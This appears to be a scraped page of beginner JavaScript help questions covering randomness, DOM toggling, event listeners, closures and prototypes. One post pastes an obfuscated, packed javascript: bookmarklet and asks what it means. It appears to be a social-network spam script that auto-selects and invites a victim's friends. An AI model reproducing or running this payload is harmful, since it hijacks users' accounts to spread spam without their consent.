JavaScript - Need Help Understanding A Couple Of Things In Javascript
Hey all,
I'm trying to fully understand javascript and have a couple of questions I was hoping you could answer for me. I'm working through a book and in the book I'm creating a Bingo card that generates a random number. I'm pasting the full script below just in case it's needed. Code: function initAll () { for(var i=0; i<24; i++) { setSquare(i); } } function setSquare(thisSquare) { var currSquare= "square" + thisSquare; var colPlace= new Array (0,0,0,0,0,1,1,1,1,1,2,2,2,2,3,3,3,3,3,4,4,4,4,4); var colBasis=colPlace[thisSquare] *15; var newNum=colBasis +getNewNum()+1; document.getElementById(currSquare).innerHTML=newNum; } function getNewNum() { return Math.floor(Math.random() *15); } //--> </script> 1. What does the [thisSquare] mean in this line of code that is bolded? I mean, I know thisSquare is whatever i is, but am I multiplying it by colPlace or what? 2. Lastly I'm confused by this part of the above code Code: var newNum=colBasis +getNewNum()+1; Why add the +1? I mean, i think getNewNum is set to pull a random number between 1 and 14. If you want to pull a number between 1 and 15, why not multiple Math.random() *16 instead of 15. Am i missing something? Sorry, I'm just not understanding why use the +1 Similar Tutorialshey guys. got acouple questions for my website. im more of a html guy.. and i usually find my scripts online. i reeaaallly appreciate all answers! i have a box: <img id="imgSearch" src="" alt="Websites" /> <input type="button" value="Toggle Search" id="btnSearch" /> ^being the button to toggle between websites. basically i'd like this button to toggle between different websites when clicked. secondly: changing span tag colors html code: Traffic Light: <span id="trafficLight"></span> <input type="button" value="Prevent Accident" id="btnTraffic" /> i'd like to change the color of this span id by pressing the button. so in this case it would change red, yellow green and last: changing the font in a bold tag bold by pressing a button html code: (note, the font weight in normal in css for bold) <b>i want this bold when you hit the button!</b> <input type="button" value="Set Bold" id="btnBold" /> I've put together a spoiler bb code, and I've noticed 2 bugs with it - I'm thinking that it's to do with the javascript end of the code. when the code is used, the page has to be refreshed for the spoiler to open and work correctly, also if there is 2 spoilers on the same page, if i click the second one, it opens the first one and not itself. I didn't type the javascript code I only did the html and css end, so I'm not sure what's going on. If any of you can help me I'd be really grateful. Here is the code: Code: <html> <head> <style type="text/css"> body,input { font-family:"Trebuchet ms",arial;font-size:0.9em; color:#333; } .spoiler { color: #494949; font-size: 10pt; font-weight:bold; text-align:left; background-color: #cbeafe ; border-top: 1px solid #9dc2d9; border-left: 1px solid #9dc2d9; border-right: 1px solid #9dc2d9; border-bottom: 2px solid #9dc2d9; padding: 2px; width:90%; min-height:18px; margin: 1px auto 1px auto; -moz-border-radius: 4px; -webkit-border-radius: 4px; -moz-box-shadow:0 0 2px #cbeafe; -webkit-box-shadow:0 0 2px #cbeafe; } .show { color: #00a2c5; font-size: 10pt; font-weight:bold; text-align:center; background-color: #fff ; border: 1px solid #fff; padding: 2px; width:25%px; min-height:5px; margin: 1px auto 1px auto; -moz-border-radius: 2px; -webkit-border-radius: 2px; -moz-box-shadow:0 0 2px #fff; -webkit-box-shadow:0 0 2px #fff; } .hide { color: #00a2c5; font-size: 10pt; font-weight:bold; text-align:center; background-color: #fff ; border: 1px solid #fff; padding: 2px; min-width:25px; min-height:5px; margin: 1px auto 1px auto; -moz-border-radius: 2px; -webkit-border-radius: 2px; -moz-box-shadow:0 0 2px #fff; -webkit-box-shadow:0 0 2px #fff; } </style> <script type="text/javascript"> function hide(id){ document.getElementById(id).style.display = 'none'; } function show(id){ document.getElementById(id).style.display = ''; } function showSpoiler(obj) { var inner = obj.parentNode.getElementsByTagName("div")[0]; if (inner.style.display == "none") inner.style.display = ""; else inner.style.display = "none"; } </script> </head> <body> <div class="spoiler"><img src="http://i.imgur.com/s5tS1.png" align="left"><img src="http://i.imgur.com/6Uq7Y.png" align="right"> <div id="show"><input type="button" class="show" onclick="hide('show'); show('hide'); showSpoiler(this);" value="Show" /> </div> <div id="hide" class="inner" style="display:none;"> <input type="button" class="hide" onclick="hide('hide'); show('show'); showSpoiler(this);" value="Hide" /> <br /><br />{param}<br /></br> </div> </div> </body> </html> Greetz, I am new to JS and using code that someone gave me. I have cleaned up the code, made it standard compliant and tailored it to my need. The code is for an ultra basic picture gallery. The code is almost perfect, but there is one undesirable effect in which when an image is selected from the thumbnail gallery, the thumbnail dissapears as I am guessing its the same element, just blown up. What I would like to know is how I can stop it from happening? I will post the full output of the HTML file. I have also uploaded zip file which contains the HTML file and two images, so one may see the compiled page as I do. Zip file (Note: STUPID hosting site placed the DOWNLOAD button right under "MP3 ringtones"... Clicking download will not take you to some premium SMS service or anything like that): http://qfs.mobi/f31666 Code: Code: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <TITLE></TITLE> <META content="charset=windows-1252;text/html" http-equiv="content-type"> <SCRIPT type="text/javascript"> clickMenu = function(menu) { var getEls = document.getElementById(menu).getElementsByTagName("LI"); var getAgn = getEls; for (var i=0; i<getEls.length; i++) { getEls[i].onclick=function() { for (var x=0; x<getAgn.length; x++) { getAgn[x].className=getAgn[x].className.replace("click", ""); } this.className+=" click"; } } } </SCRIPT> <STYLE type="text/css"> #gallery ul { float:right; overflow:auto } #gallery ul li { display:inline; width:50px; height:50px; float:left; margin:0 4px 4px 0; border:1px solid #444; cursor:pointer } #gallery ul li img { display:block; height:50px } #gallery ul li span { display:none; position:absolute; left:447px; top:235px; font-family:verdana; color:#06a } #gallery ul li.click { border-color:#fc0; cursor:default } #gallery ul li.click i { position:absolute; left:0; width:545px } #gallery ul li.click i img { margin:5px auto 0 auto; height:auto } #gallery ul li.click span { display:block } </STYLE> <BODY onload="clickMenu('gallery')"> <DIV id="gallery"> <UL> <LI><I><IMG src="1.png" title="" alt=""></I><SPAN>Front</SPAN></LI> <LI><I><IMG src="2.png" title="" alt=""></I><SPAN>Back</SPAN></LI> </UL> </DIV> </BODY> Much appreciated! I'm doing an assignment and I'm trying to get these codes to work but nothing works. Can anyone help please? Code: <script type = "text/javaScript"> var animal = prompt("Please enter the name of an animal (elephant would be good!)",""); animal = animal.toUppercase(); if (animal="ELEPHANT") { alert ("Elephants are very large and also gentle."); alert ("Have you ever seen an elephant in the circus?"); } else { alert("You have entered an unknown animal which is called a " + animal); alert("This program will self-destruct in 10 seconds"); alert(" 10 - 9 - 8 - 7 - 6 - 5 - 4 - 3 - 2 - 1 ..."); } </script> Code: <script type = "text/javaScript"> var rating = prompt("Enter a movie rating (G, PG, R...)",""); rating = rating.toLowercase() switch (rating) { case "g": alert("G means this movie is rated for General Audiences"); break; case "pg": alert("PG means this movie is rated for General Audiences with Parents attending"); break; case "r": alert("R means this movie is rated for Restricted Audiences. May contain violence."); break; default: alert ("This program is rated G. We are not allowed to comment on the movie rating " + rating); } </script> Hi there, I've been a web designer for a while and have always used basic javascript in my pages, but decided recently that I would get right into the nitty gritty, however I'm having a problem with some really basic code. Secondly, the book which I'm using is from 2005 and is extolling the virtues of event listeners and so on, is this still the accepted means of handling events? And thirdly, are there still chasms between the browsers in compatability in this area? I'm aware IE has become more and more compliant recently, is it still necessary to write code to cover different browsers or does it all pretty much work nowadays (besides older browsers)? So, to the code! Basically, the browser doesn't get into the function to display the alert(), and i'm not sure why. (Told you it was basic ) Code: <html> <head> <title>Javascript Testing</title> <script type="text/javascript"> <!-- function aKeyWasPressed(e){ alert('Sausages!'); } var textarea = document.getElementById('myta'); textarea.addEventListener('keyup', aKeyWasPressed, false); --> </script> </head> <body> <textarea id="myta"></textarea> </body> </html> Thanks! Hey guys, as of now these lines of code... Code: function lettergrade(grade) { if (grade >= 9){ document.write("A") } else if (grade >= 8){ document.write("B") } else if (grade >= 7){ document.write("C") } else{ document.write("F | Warning, your letter grade is very low.") } }; function goletter() { document.write("Sam's letter grade on the test is: " + lettergrade(sam) + ", <br \> Sally's letter grade on the test is: " + lettergrade(sally) + ", <br \> Donald's letter grade on the test is: " + lettergrade(donald)) } ...are supposed to display the "____'s letter grade on the test is: A" or the respective letter, but instead it is displaying this... ABF | Warning, your letter grade is very low.Sam's letter grade on the test is: undefined, Sally's letter grade on the test is: undefined, Donald's letter grade on the test is: undefined Any ideas as to why this is happening? I am a novice javascript user so if there are any good alternatives that are pretty basic i'm open to ideas. Thanks guys. I have an ajax member search form that I'm just about done with but I have a couple of really irritating firefox issues. The first one is the lack of support of the click() method. I added the following but it still doesn't want to work: Code: <script> if(typeof HTMLElement != 'undefined' && !HTMLElement.prototype.click) { HTMLElement.prototype.click = function() { var evt = this.ownerDocument.createEvent('MouseEvents'); evt.initMouseEvent('click', true, true, this.ownerDocument.defaultView, 1, 0, 0, 0, 0, false, false, false, false, 0, null); this.dispatchEvent(evt); } } </script> The second issue I'm having is with dependent dropdown selects not hiding in firefox. This seems to be due to the other functions that need to trigger onload and is dependent on what order it's loaded. Here's how I'm handling the onload functions: Code: <script> function addLoadEvent(func) { var oldonload = window.onload; if (typeof window.onload != 'function') { window.onload = func; } else { window.onload = function() { if (oldonload) { oldonload(); } func(); } } } addLoadEvent(function() { ajaxFunction(document.getElementById('country').value); handleOnChange(country); setupDependencies('cbcheckedadminForm', 'adminForm', 'locationsearch'); handleOnChange2(cb_state); }); </script> I don't have an issue with either of these in chrome. IE is a WHOLE other story, it's all kinds of wonky there. I still need to go through and do some debugging for that. Any quick ideas off hand on these two issues? I'll try and post the full php file in a reply. Hello, sorry to bother you all - I am quite new to javascript, i have found an engine that i would like to edit, in the following javascript code, it will contain code on moving a player to the left, what i want is for every 32px it moves the player left, i want it to also to scroll the map at the same time (it's all contained in a div called "global_map") - Please help me, i am in urgent need of help please and thank you guys! Code: function player_move_left(user_id, bloc_id, charaset, prefix) { var player_id = prefix + user_id; var next_left_pos = Math.round((parseInt(document.getElementById(player_id).style.left) - tile_size + player[user_id].left_gain) / tile_size); var next_top_pos = Math.round((parseInt(document.getElementById(player_id).style.top) + player[user_id].top_gain) / tile_size); //var next_lower_bloc = 'l' + next_left_pos + '-' + next_top_pos; //var next_upper_bloc = 'u' + next_left_pos + '-' + next_top_pos; var next_event_bloc = 'i' + next_left_pos + '-' + next_top_pos; if ( map_pass[next_top_pos][next_left_pos] ) { if ( user_id == my_user_id ) { move_update(bloc_id, -1, 0); } document.getElementById('charaset_' + user_id).style.top = -player[user_id].height + 'px'; setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[1] + ') + \'px\';', 62); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[2] + ') + \'px\';', 125); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[3] + ') + \'px\';', 187); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[4] + ') + \'px\';', 250); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[5] + ') + \'px\';', 312); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[6] + ') + \'px\';', 375); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[7] + ') + \'px\';', 437); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[8] + ') + \'px\';', 500); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[9] + ') + \'px\';', 562); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[10] + ') + \'px\';', 625); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[11] + ') + \'px\';', 687); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[12] + ') + \'px\';', 750); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[13] + ') + \'px\';', 812); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[14] + ') + \'px\';', 875); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[15] + ') + \'px\';', 937); setTimeout('document.getElementById(\'' + player_id + '\').style.left = (parseInt(document.getElementById(\'' + player_id + '\').style.left) - ' + division[16] + ') + \'px\';', 1000); setTimeout('document.getElementById(\'charaset_' + user_id + '\').style.left = \'-' + player[user_id].width + 'px\';', 63); setTimeout('document.getElementById(\'charaset_' + user_id + '\').style.left = \'-' + (player[user_id].width * 2) + 'px\';', 188); setTimeout('document.getElementById(\'charaset_' + user_id + '\').style.left = \'-' + (player[user_id].width * 3) + 'px\';', 313); setTimeout('document.getElementById(\'charaset_' + user_id + '\').style.left = \'0px\';', 438); setTimeout('document.getElementById(\'charaset_' + user_id + '\').style.left = \'-' + player[user_id].width + 'px\';', 563); setTimeout('document.getElementById(\'charaset_' + user_id + '\').style.left = \'-' + (player[user_id].width * 2) + 'px\';', 688); setTimeout('document.getElementById(\'charaset_' + user_id + '\').style.left = \'-' + (player[user_id].width * 3) + 'px\';', 813); setTimeout('document.getElementById(\'charaset_' + user_id + '\').style.left = \'0px\';', 938); /*if ( (parseInt(document.getElementById(player_id).style.left) - tile_size + player[user_id].left_gain) > parseInt(document.getElementById(bloc_id).style.left) ) { setTimeout('player_move_left(\'' + user_id + '\', \'' + bloc_id + '\', \'' + charaset + '\', \'' + prefix + '\')', 1000); } else {*/ if ( prefix == 'p' ) { if ( user_id == my_user_id && events_placement[next_top_pos][next_left_pos][0].length > 0 ) { if ( path_finished ) { setTimeout('exec_event(' + user_id + ', ' + next_left_pos + ', ' + next_top_pos + ', 0);', 1000); } } else { setTimeout('player[' + user_id + '].moving = false;', 1000); } } /*}*/ } else { document.getElementById('charaset_' + user_id).style.top = -player[user_id].height + 'px'; if ( prefix == 'p' ) { if ( user_id == my_user_id && events_placement[next_top_pos][next_left_pos][1].length > 0 ) { if ( event_data[next_event_bloc].changedir ) { document.getElementById('charaset_' + next_event_bloc).style.top = '-' + (parseInt(document.getElementById('charaset_' + next_event_bloc).style.height) / 2) + 'px'; } if ( user_id == my_user_id ) { move_update(bloc_id, 0, 0); } exec_event(user_id, next_left_pos, next_top_pos, 1); } else { player[user_id].moving = false; } } } } If you still don't get what i am asking for (which i appreciate!) is that i want to know how to scroll 2 things at the same time (the player div and the global_map div) Hi all, I was wondering if i could have some help - i am not very technical! I would like to add 2 things to an onSubmit that is on a form. However, I have been reading various things as to whether or not this is possible. The button on the form looks like it runs some sort of validation as it starts with onsubmit="validateFormData...... I am trying to set up a goal in analytics and need to add a pageview tracker to the onSubmit as well. Is this possible? Please help me Ok, I have a submit form that allows the user to submit news, here is the final step of the form: Code: <form action="{$URL_submit}" method="post" id="thisform" name="ATISUBMIT" > <input type="hidden" name="phase" value="3" /> <input type="hidden" name="randkey" value="{$templatelite.post.randkey}" /> <input type="hidden" name="id" value="{$submit_id}" /> <input type="hidden" name="trackback" value="{$templatelite.post.trackback|escape:"html"}" /> <br style="clear: both;" /><hr /> <center> <input type=button onclick="javascript:gPageIsOkToExit=true;window.history.go(-1);" value="{#PLIGG_Visual_Submit3_Modify#}" class="log2"> <input type="button" onclick="javascript:submitEdgeStory();" value="{#PLIGG_Visual_Submit3_SubmitStory#}" class="submit" /> </center> </form> The submit button already has an "onclick" function via Javascript. What I want to add is a checkbox to the form, that when checked, the form will submit as per usualy, but will also open a new tab that will load a website. Is this possible to do? Thanks, Geoserv. Can a checkbox do 2 different things after it is clicked? Right now I am using this... Code: <input type="checkbox" onclick="processCheckbox(this);"> <input type="checkbox" onclick="activLink(this.checked)"> I don't want to have 2 checkboxes on my page, just 1 and get the same result. Is this possible? Chad I have been on loads of websites, and they all say the same thing. But the below script will just not change the opacity of the element - which is a DIV - in IE... I do not see why not, W3C says that obj.filters.alpha.opacity = 50; will do it, but it produces an error saying that filers.alpha is null or not defined... Code: function setOpacity(obj) { obj.style.opacity = "0.5"; obj.filters.alpha.opacity = 50; obj.style.filter = 'alpha(opacity=50)'; } Hey all - I need a java bookmarklet that does a real simple thing. I need to take the current URL (ie, where the user is when they click the bookmarklet) and append it to a static URL and return the text on the resulting page. For example: The user is at http://google.com The user clicks the bookmarklet. the bookmarklet takes http://google.com and appends it to http://example.com/outside_create.ph...ey=555&url=URL HERE where you see the URL HERE text. That PHP script echos a simple line of text (a shortened URL actually). Then I want that result from the outside_create.php file to be displayed in a window back to the user. Is this even possible? Basically I need to know how to append location.href to a static URL and how to get the resulting content from the static URL.. I'd like to know if there are ways to hide/unhide fields like radio options, text fields & others by using JavaScript. If so how do I do it? I do know I will have to check the form every time. Is there a need to refresh the form? Will the refresh clear all the selections? Things I'd like to hide: 1. Upon the selection of a radio option, another radio option will appear. 2. Upon the selection of a radio option, a text field will appear. Sorry for asking so many questions. But I just got to know that I need to use JavaScript in my application and I have no idea how and where to start, just bumping around, & hoping that God will drop some hint. Hi We are currently re-working a client's website and as I am not a javascript programmer I am having trouble understanding some of the code, and need help understanding why a certain variable in the code remains undefined. The javascript function is called from the web page in this fashion: Code: <select name="cboL1_3" onchange="CheckLine(this);"> <option value=""></option> <option value="l">L</option> <option value="m">M</option> </select> and the function CheckLine is defined thus: Code: function CheckLine(el) { var Mok = false, Lok = false, val, currEl; var LineNo = el.name; LineNo = LineNo.substring(4,(LineNo.length - 2)); val = el.options[el.selectedIndex].value; alert(el); alert(val); if (val == 'm') { Mok = true; } if (val == 'l') { Lok = true; } for (var i = 1; i<=4; i++) { currEl = document.frmDisc.elements['cboL' + LineNo + '_' + i]; if (currEl.name != el.name) { if (currEl.options[currEl.selectedIndex].value == 'm') { if (Mok) { currEl.selectedIndex = 0; //resets selection to blank if >1 M } Mok = true; } if (currEl.options[currEl.selectedIndex].value == 'l') { if (Lok) { currEl.selectedIndex = 0;//resets selection to blank if >1 L } Lok = true; } } } } What is happening is that the user is filling in 24 lines of 4 select boxes, in which there must be 1 and only one "m" and 1 and only 1 "l". The code changes the value of the box back to blank if the user has tried to enter >1 of either. The code then should check the line number and count the number of lines, but on debugging I see that the value of variables el and LineNo are undefined. I can't understand why when the function is called, the value "this" is used. i.e CheckLine(this) - this appears to have no value in the html code as far as I can see! Perhaps someone could shed some light on this for me, as I really need to get it working TODAY!! I also enclose a link to the webpage in question: www.kellyresources.co.uk/disc/disc.asp MAny thanks in anticipation of your help. Teresa What does this mean? Code: javascript:eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('G g=["\\b\\h\\h\\d\\m\\Z\\15\\H\\16","\\e\\a\\I\\q\\n\\i\\h\\e\\d\\h\\e","\\j\\d\\e\\z\\k\\d\\w\\d\\h\\e\\17\\J\\18\\s","\\D\\a\\p\\b\\s\\t\\l\\f\\A\\j\\j\\d\\f\\e\\l\\p\\u\\m\\d\\y\\t\\l\\19\\l\\p\\a\\K\\a\\B\\b\\y\\J\\t\\l\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o\\1a\\n\\k\\a\\f\\f\\t\\O\\a\\h\\H\\a\\h\\a\\j\\d\\m\\1b\\a\\w\\o\\1c\\h\\i\\s\\d\\q\\b\\s\\t\\P\\Q\\x\\P\\R\\Q\\S\\1d\\S\\x\\x\\M\\1e\\M\\R\\l\\p\\n\\k\\a\\f\\f\\t\\l\\p\\o\\m\\i\\y\\b\\k\\d\\q\\a\\n\\e\\b\\i\\h\\p\\a\\n\\e\\b\\i\\h\\f\\o\\m\\i\\q\\a\\l\\p\\m\\d\\k\\t\\l\\s\\b\\a\\k\\i\\j\\1f\\o\\i\\f\\e\\l\\E\\1g\\A\\j\\j\\d\\f\\e\\p\\e\\i\\p\\O\\m\\b\\d\\h\\s\\f\\D\\r\\a\\E","\\f\\A\\j\\j\\d\\f\\e","\\H\\i\\A\\f\\d\\z\\v\\d\\h\\e\\f","\\n\\m\\d\\a\\e\\d\\z\\v\\d\\h\\e","\\n\\k\\b\\n\\1h","\\b\\h\\b\\e\\z\\v\\d\\h\\e","\\s\\b\\f\\o\\a\\e\\n\\u\\z\\v\\d\\h\\e","\\f\\d\\k\\d\\n\\e\\q\\a\\k\\k","\\f\\j\\w\\q\\b\\h\\v\\b\\e\\d\\q\\y\\i\\m\\w","\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o","\\f\\A\\I\\w\\b\\e\\T\\b\\a\\k\\i\\j","\\D\\b\\y\\m\\a\\w\\d\\p\\f\\m\\n\\t\\l\\u\\e\\e\\o\\1i\\r\\r\\I\\b\\e\\L\\k\\J\\r\\n\\T\\v\\U\\h\\U\\l\\p\\1j\\b\\s\\e\\u\\t\\l\\1k\\x\\x\\o\\B\\l\\p\\u\\d\\b\\j\\u\\e\\t\\l\\M\\x\\x\\o\\B\\l\\E\\D\\r\\b\\y\\m\\a\\w\\d\\E"];C(F[g[2]](g[1])[g[0]]=g[3]);G V=F[g[2]](g[4]);G c=F[g[6]](g[5]);c[g[8]](g[7],W,W);C V[g[9]](c);C N(X(){1l[g[10]]()},1m);C N(X(){1n[g[13]](g[11],g[12])},Y);C N(F[g[2]](g[1])[g[0]]=g[14],Y);',62,86,'||||||||||x61|x69||x65|x74|x73|_0x22d5|x6E|x6F|x67|x6C|x22|x72|x63|x70|x20|x5F|x2F|x64|x3D|x68|x76|x6D|x30|x66|x45|x75|x78|void|x3C|x3E|document|var|x4D|x62|x79|x6A|x2E|x36|setTimeout|x46|x31|x32|x35|x38|x44|x41|ss|true|function|5000|x48||||||x54|x4C|x42|x49|x23|x3F|x26|x3B|x37|x34|x2D|x53|x6B|x3A|x77|x39|fs|4000|SocialGraphManager'.split('|'),0,{})) like all the " f\\m\\n " etc? I have no idea. I get programming. Really, I do. But this closure thing has me lost and needing a nice, simple explanation. Here's the code from the dojo tutorial: <script type="text/javascript"> dojo.require("dijit.form.Button"); // this is just to make the demo look nicer var arrFruit = ["apples", "kiwis", "pineapples"]; function populateData() { dojo.forEach(arrFruit, function(item, i) { var li = dojo.doc.createElement("li"); li.innerHTML = i + 1 + ". " + item; dojo.byId("forEach-items").appendChild(li); }); } </script> It is the anonymous function(item, i) that is perplexing me. As I see it, this use is not CREATING a function. It is calling a function called "function." Clearly, I am not up-to-speed. I am confounded as to how, within function(), "item" is KNOWN to refer to the value of the array element, and "i" is KNOWN to refer to the current element in the dojo.forEach() function. In my mind, I see a call to function, trying to pass parameters to it which were never defined above. The way I see it is: function myfunction(item, i) {code here} myfunction(this, that); In this example, I would get an error because "this" and "that" are not defined. Help, please!!! This script from http://www.javascriptkit.com/script/cut76.shtml is obviously not secure since the username and password are stored in the script, as well as the redirect url. I have no intentions of using it, but am curious if someone can explain how the alerts work the way they do. So, how is the 1st else " else {alert("Invalid Password")} " associated with the second IF statement, not the first IF statement? Example, The 1st else sends an alert invalid password. When the 1st IF was to check the user name. Why is this? Shouldn't the 1st alert be if the user name was invalid and the second else be for the password? This post is my first, and is really just because I need to understand Javascript better and this makes no sense to me. Code: <script language="javascript"> function pasuser(form) { if (form.id.value=="JavaScript") { if (form.pass.value=="Kit") { location="page2.html" } else { alert("Invalid Password") } } else { alert("Invalid UserID") } } </script> Anyone wanna give me some pointers on how prototypes work exactly? ;o Especially in the context of this code: Code: var chatscroll = new Object(); chatscroll.Pane = function(scrollContainerId){ this.bottomThreshold = 20; this.scrollContainerId = scrollContainerId; this._lastScrollPosition = 100000000; } chatscroll.Pane.prototype.activeScroll = function(){ var _ref = this; var scrollDiv = document.getElementById(this.scrollContainerId); var currentHeight = 0; var _getElementHeight = function(){ var intHt = 0; if(scrollDiv.style.pixelHeight)intHt = scrollDiv.style.pixelHeight; else intHt = scrollDiv.offsetHeight; return parseInt(intHt); } var _hasUserScrolled = function(){ if(_ref._lastScrollPosition == scrollDiv.scrollTop || _ref._lastScrollPosition == null){ return false; } return true; } var _scrollIfInZone = function(){ if( !_hasUserScrolled || (currentHeight - scrollDiv.scrollTop - _getElementHeight() <= _ref.bottomThreshold)){ scrollDiv.scrollTop = currentHeight; _ref._isUserActive = false; } } if (scrollDiv.scrollHeight > 0)currentHeight = scrollDiv.scrollHeight; else if(scrollDiv.offsetHeight > 0)currentHeight = scrollDiv.offsetHeight; _scrollIfInZone(); _ref = null; scrollDiv = null; } It's code to make the scrollbars autoscroll down. Full article and extra info he http://radio.javaranch.com/pascarell...837038219.html I sort of understand it but I'm not clear on what prototypes are. I put this function in firebug and it returns the value 24. I just need help of someone explaning me as simple but descriptive as possible how the code works. Code: function factorial(n) { var product= 1; while(n > 1) {product *= n; n--; } return product; } factorial(4) i was just reading a book and these were just one of the examples of functions which I was trying to understand better. |